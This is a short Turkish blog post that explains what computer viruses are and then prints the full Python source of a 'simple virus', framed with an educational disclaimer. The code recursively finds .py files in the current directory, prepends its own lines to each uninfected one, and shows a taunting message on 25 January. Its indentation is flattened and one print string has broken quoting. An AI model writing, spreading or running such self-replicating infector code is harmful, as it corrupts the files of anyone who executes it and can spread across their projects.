Virüsler dijital dünyanın korkulu rüyası. Eskiden yalnızca bilgisayarı tehdit eden bu virüsler günümüzde internete erişimi olan hemen hemen her türlü teknolojik cihazı ilgilendiriyor. Peki virüs denilen kavram tam olarak nedir? Basit bir virüs nasıl yazılır?
Virüsler, kısaca kötü niyetli programlardır (malware). Bir kez çalıştırıldığı anda kendini yeniden üretir ya da diğer program dosyalarına kopyalar. İşletim sistemi açıldıktan sonra kullandığımız programlardan, veri dosyalarına ve bilgisayar başlatılırken çalışan programlara kadar bulaşabilir.
"Virüs" kelimesi genellikle yanlış kullanılır. Bu aslında; truva atı, BHO, solucan, rootkit, spyware, Malware'leri gibi bir tür Malware'dir. Virüsler aslında, bulaştığı cihazda zararlı aktiviteler yapan kötü niyetli yazılımlardır. Örnek olarak; hard diskleri kilitlemek, kredi kartı numaralarını ele geçirmek, işlemcilerin çalışmasında bozukluklar meydana getirmek, e-posta adreslerine sızarak toplu spam mesajlar göndermek ve virüsü yaymaya çalışmak gibi. Virüs yazılımcıları, sosyal mühendislik ismi verilen kandırma yöntemleriyle hedeflerinin zayıf yanlarını yakalar ve bilgisayarlarına sızarlar. Birçok virüs, özellikle Windows işletim sistemini hedef alır ve çoğu kez siyasi mesaj, kişisel eğlence gibi sebeplerle atak yaparlar.
Şayet siz de siber dünyanın bu tarafını keşfetmek istiyorsanız ve verilerinizi ele geçirmeye çalışan kötü niyetli hackerlara karşı tedbir geliştirmek amacıyla bir şeyler öğrenmek istiyorsanız, aşağıda basit bir virüsün kodları bulunmakta.
NOT : Aşağıda yer alan virüs kodu sadece güvenlik uzmanı alanında kendini geliştirmek isteyenler için eğitim amacı güdüyor. Verilen kodları sadece size ait bir sistemde deneyiniz.
<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>
Yazan : Abdullah Kırıcıkaya
Hiç yorum yok:
Yorum Gönder
İş yoğunluğum dolayısıyla yorumlara cevap veremeyebilirim. Anlayışınız icin teşekkürler.